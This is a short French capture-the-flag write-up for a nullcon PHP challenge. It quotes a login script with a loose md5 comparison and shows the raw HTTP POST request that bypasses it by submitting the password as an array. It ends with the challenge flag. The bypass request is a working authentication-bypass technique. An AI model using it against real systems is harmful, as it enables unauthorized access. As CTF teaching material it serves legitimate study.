Lets do some PHP
http://nullcon-e1.no-ip.org/exp3/boo.php
À la fin de la page de présentation, un commentaire c'est glissé avec un lien vers la source de cette page. http://nullcon-e1.no-ip.org/exp3/boo.html
<? error_reporting(0); $pass = $_POST['password']; $key = "key_goes_here"; if("0" == substr(md5($pass),0,10)) { echo "Key: $key"; exit(0); } ?> <html> <body> <form method='post'> Password: <input type="password" name="password"></input> <br/> <input type="submit" value="Submit"></input> </form> </body> </html>
La solution est simple, tourner la variable $pass en un tableau.
POST /exp3/boo.php HTTP/1.1 Host: nullcon-e1.no-ip.org Connection: close Content-Length: 19 password%5B%5D=TAPZ
Flag: 58961e6ab08f06d61c097c482806d288